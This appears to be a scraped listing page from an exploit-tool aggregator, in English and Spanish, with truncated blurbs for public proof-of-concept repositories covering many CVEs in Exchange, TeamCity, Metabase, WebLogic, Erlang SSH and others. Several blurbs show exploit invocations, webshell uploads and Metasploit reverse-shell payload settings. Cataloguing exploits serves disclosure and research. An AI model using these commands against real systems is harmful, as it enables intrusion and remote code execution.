CVE-2018-0802_CVE-2017-11882

RTF118820802 CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Patch analysis:...

CVE-2018-11235-DEMO

CVE-2018-11235 Uso root@kitploit: chybeta@ubuntu git clone https://github.com/CHYbeta/CVE-2018-11235-DEMO.git chybeta@ubuntu cd CVE-2018-11235-DEMO chybeta@ubuntu /CVE-2018-11235-DEMO /usr/local/bin/git --version git version 2.17.0 chybeta@ubuntu /CVE-2018-11235-DEMO ./build.sh Análisis RCE con...

CVE-2023-38646

CVE-2023-38646 Metabase RCE sin autenticación previa Consulta el POC de explotación manual: https://youtu.be/b51LPjD-uTo...

CVE-2023-27363

fuxinFoxit Foxit PDF Remote Code Execution Vulnerability CVE-2023-27363 Analysis and Reproduction Disclaimer: This article is solely for the purpose of technical exchange, learning, and research. The use of the techniques mentioned in the article for any illegal purposes or destructive actions is...

ProxyLogon-CVE-2021-26855

ProxyLogon-CVE-2021-26855 RCE exploit for ProxyLogon vulnerability in Microsoft Exchange Working with Python 3.9 Usage: python proxylogonrce.py target email command Example: python proxylogonrce.py 192.168.227.137 [email protected] whoami All credits go to DEVCORE, based on...

CVE-2022-35405

CVE-2022-35405 My blog post Nuclei template Other article ManageEngine PAM360 and Password Manager Pro unauthenticated remote code execution vulnerability PoC Access Manager Plus authenticated only :...

CVE-2014-7236_Exploit

Exploit for TWiki code execution CVE-2014-7236 usage: perl exploit.pl host cmd ex. perl exploit.pl http://127.0.0.1/Main/WebHome "uname -a" Reference: http://seclists.org/fulldisclosure/2014/Oct/44...

CVE-2017-1000117

CVE-2017-1000117 This module can be used to test whether you are vulnerable to CVE-2017-1000117 root@kitploit: git clone https://github.com/timwr/CVE-2017-1000117.git --recurse-submodules ls CVE-2017-1000117 Output if you are vulnerable: root@kitploit: $ git clone...

CVE-2023-42793

CVE-2023-42793 - Creación de cuenta de administrador en TeamCity que lleva a RCE usa primero exploit.py para crear una cuenta de administrador y luego usa rce.py para ejecutar comandos en el objetivo, y para reverse shell consulta esto script de exploit Descripción Este script explota...

CVE-2020-11546

CVE-2020-11546 SuperWebMailer RCE USAGE python3 CVE-2020-11546.py -h, --help show this help message and exit python3 CVE-2020-11546.py -u https://target.com...

CVE-2025-28915

CVE-2025-28915 Vulnerability Description: WordPress is a blog platform developed using PHP, supporting the setup of personal blog websites on servers running PHP and MySQL. WordPress ThemeEgg ToolKit versions 1.2.9 and earlier have a code issue vulnerability, which stems from allowing the upload ...

CVE-2019-12594

CVE-2019-12594 Este es un PoC para CVE-2019-12594, una vulnerabilidad en DOSBox 0.74-2. Lanzando una calculadora en el host desde DosBox 0.74-2 El PoC para esta vulnerabilidad ha sido probado con la siguiente configuración: DOSBox 0.74-2 Debian 10 amd64 Libc6 2.28-10...

privesc-CVE-2010-0426

Sudo 1.6.x=1.6.9p21 and 1.7.x=1.7.2p4 Local Privilege Escalation Sudo su "do" allows a system administrator to give certain users or groups of users the ability to run some or all commands as root while logging all commands and arguments. Vulnerable environment To setup a vulnerable environment f...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS RCE no autenticado mediante instanciación de objetos PHP Uso Detección de vulnerabilidad. root@kitploit: python CVE-2022-24990.py -u http://127.0.0.1:8080 Subir una webshell PHP. root@kitploit: python CVE-2022-24990.py -a http://127.0.0.1:8080...

CVE-2018-2628

Prueba de vulnerabilidades Subir shell Método 1: Método 2: Ejecutar shell Obtener meterpreter root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp payload ...

spectre-attack-example

Rutina de ataque Spectre 2 de enero de 2018 CVE-2017-5753 y CVE-2017-5715 Ejemplo de explotación de la vulnerabilidad "Spectre" ¿Qué es esto? Colocamos el texto "The Magic Words are Squeamish Ossifrage." en la memoria, y luego intentamos leerlo explotando la vulnerabilidad. Si el sistema es...

CVE-2022-22274_CVE-2023-0656

SonicWall NGFW CVE-2022-22274 & CVE-2023-0656 El 24 de marzo de 2022, SonicWall publicó un aviso con los siguientes detalles: Una vulnerabilidad de desbordamiento de búfer basada en pila en SonicOS a través de una solicitud HTTP permite que un atacante remoto no autenticado cause una Denegación d...

CVE-2021-21972

Instrucciones de uso y descargo de responsabilidad Vulnerabilidad de ejecución remota de código en VMware vCenter Server CVE-2021-21972 Modo de empleo: Python CVE-2021-21972.py urls.txt Cada URL en urls.txt debe estar en una línea. Las direcciones de las vulnerabilidades se guardan en vul.txt...

CVE-2019-13024

CVE-2019-13024 The official exploit code for Centreon v19.04 Remote Code Execution CVE-2019-13024...

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC The vulnerability allows an attacker with network access to an Erlang/OTP SSH server to execute arbitrary code without prior authentication. Description A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to...